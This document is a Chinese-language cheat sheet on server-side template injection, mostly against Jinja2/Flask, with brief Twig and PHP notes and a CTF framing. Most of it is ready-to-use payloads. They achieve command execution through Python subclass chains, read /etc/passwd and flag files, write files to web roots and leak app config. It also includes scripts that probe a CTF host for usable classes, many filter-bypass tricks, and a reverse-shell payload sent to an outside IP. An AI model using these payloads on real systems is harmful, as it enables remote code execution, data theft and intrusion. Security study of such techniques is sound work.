SSTI模板注入
一.基础学习
原理:
获取一个输入,然后再后端的渲染处理上进行语句的拼接,然后执行。(即典型漏洞存在于框架中的渲染函数生成html时)
典型针对网站模板引擎:
Python的jinja2 mako tornado django flask
Python的jinja2 mako tornado django flask
模板引擎:
即引擎中具有一套生成html的程序,只需获取用户的数据,然后放在渲染函数中即可生成一个前端的html页面
识别是什么类型的模板思路–>利用{{7*‘7’}}字段去代 根据回显的内容去判断
几种常见框架的执行payload思路
Twig框架的思路执行命令
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
常见模板
jinja2–>3个语言含义
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
python
基础类执行
__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类
常见的基础调用类函数执行
>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]
#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__
>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可
分析学习:
常用方法
1.获取基类
//获取基本类
```bash
{{[].__class__}}
页面回显 <type ‘list’>
‘’.class.mro[1]
{}.class.bases[0]
().class.bases[0]
[].class.bases[0]
页面回显 <type ‘object’>
2.获取所有继承自object的类与权限配置文件类
1.)获取所有类
''.__class__.__mro__[2].__subclasses__()
2.)获取config对象与request对象类
{{url_for.__globals__}}
进一步获取内容
/{{url_for.__globals__['current_app'].config}}
{{config}}#即查看权限
{{ config.SQLALCHEMY_DATABASE_URI }}
url请求的配置文件类
{{ request.url }}
属性 | 说明 | 类型 |
---|---|---|
data | 记录请求的数据,并转换为字符串 | * |
form | 记录请求中的表单数据 | MultiDict |
args | 记录请求中的查询参数 | MultiDict |
cookies | 记录请求中的cookie信息 | Dict |
headers | 记录请求中的报文头 | EnvironHeaders |
method | 记录请求使用的HTTP方法 | GET/POST |
url | 记录请求的URL地址 | string |
files | 记录请求上传的文件 | * |
3.寻找可利用类的位置
利用代码寻找
#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
#如找subprocess.Popen模块所在位置
import requests
import time
import html
for i in range(1, 500):
url = "http://51d49043-d919-40c5-a17a-ae90387c6a3e.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()["+str(i)+"]}}"
req = requests.get(url)
time.sleep(0.1)
# 这里是找subprocess.Popen
if "subprocess.Popen" in html.escape(req.text):
print(i)
print(html.unescape(req.text))
break
找os
#!/usr/bin/env python
# encoding: utf-8
num = 0
for item in ''.__class__.__mro__[2].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
print '-'
num+=1
如
即下面调用site._Printer模块即使用71这个位置
import re
string = '''(回显中所有类)'''
ClassList = re.split(",", string)
for i in range(0, len(ClassList)):
print(i, ClassList[i])
if 'os._wrap_close' in ClassList[i]:
print(i)
break
4.利用调用执行命令
python2
1.)读取文件类,<type ‘file’>
file位置一般为40,直接调用
[].__class__.__base__.__subclasses__()[40]('fl4g').read()#fl4g为文件名称
2.)<class ‘site._Printer’>
调用os的popen执行命令
{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()
如果system被过滤,用os的listdir读取目录+file模块读取文件:
().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')
3.)<class ‘subprocess.Popen’>
位置一般为258
{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
4.)<class ‘warnings.catch_warnings’>
一般位置为59,可以用它来调用file、os、eval、commands等
#调用file
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改为 write() 就是写文件
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
#调用eval
[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
#调用system方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0
#调用commands进行命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
python3
#读取文件与写文件类
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
#执行命令
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
二.payload总结
三.常见绕过
1.waf绕过payload
甩几个test payload
有时候看不到回显。可以在源代码里看到回显
即利用eval,impoer等全局函数
[].class.bases[0].subclasses()[59].init.globals.__builtins__下有eval,__import__等全局函数执行命令
python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')
python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')
2.单个绕过类
①绕过字符与典型函数类
1.)过滤[]
#绕过方法1:__getitem__绕中括号限制
#即将mro_[2]等价于__getitem__(2)即可
''.__class__.__mro__.__getitem__(2)<-> 等价于''.__class__.__mro__[2]
{}.__class__.__bases__.__getitem__(0)<->等价于{}.__class__.__bases__.__getitem__(0)
().__class__.__bases__.__getitem__(0)<->().__class__.__bases__.__getitem__(0)
request.__class__.__mro__.__getitem__(8)<->request.__class__.__mro__.__getitem__(8)
#绕过方法2:利用pop(40)绕
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
#使用 .getlist()方法绕
blacklist = ["__","request[request.","__class__",'[',']']
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
2.)过滤_
blacklist = ["_"]
#绕过方法利用request.args.<param>绕
/?exploit={{request[request.args.pa]}}&pa=**class**
3.)过滤’request[request.’
blacklist = ["__","request[request."]
#绕过方法:
request | attr(request.args.a)等价于request["a"]
#利用payload
?exploit={{request|attr(request.args.pa)}}&pa=**class**
4.)过滤_class_
blacklist = ["__","request[request.","__class__"]
#绕过方法:管道+join方法,可以进行字符串的拼接操作
["a","b","c"]|join等价于abc.
exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
即等价于
{{__class__}}
5.)绕过"|join"
blacklist = ["__","request[request.","__class__",'[',']',"|join"]
/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
6.)绕过.方法
#若.也被过滤,使用原生jinja2函数|attr()
request.__class__<-->request|attr("__class__")
7.)绕{{
#方法:{% if ... %}1{% endif %}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('') %}1{% endif %}
②过滤关键字类
绕过滤config、request以及class
1.)拼接绕
{{ session['__cla'+'ss__'] }}<-->{{session['__class__']}}
2.)利用__enter__方法绕(python3中)
{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('cat /etc/passwd').read() }}
二 .绕组合
1.)绕’ “” _
利用request.args.x绕__过滤
利用request.args.x绕""
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__
&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat+/flag').read() HTTP/1.1
X-Forwarded-For:{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(174)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}
2.)同时绕下划线、与中括号
#同时
{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')|attr(request.values.name5)()}}
post:
name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read
三.特殊读取文件姿势
读取配置文件
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#利用self姿势
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
四.典型ctf题目与工具
思路:读取配置文件代类思路
MiniLCTF_2020,x-forward-for处ssti
一篇不错的flask分析文章
常用工具
SSTI神器–Tplmap
php ssti导致的getshell
模板注入思路
echo “${phpinfo()}”; #php模板渲染的一些特殊思路
{="${phpinfo()}"}等同于echo “${phpinfo()}”;#思路
{="${`cat /flag >8.txt`}"}#配合``短思路去代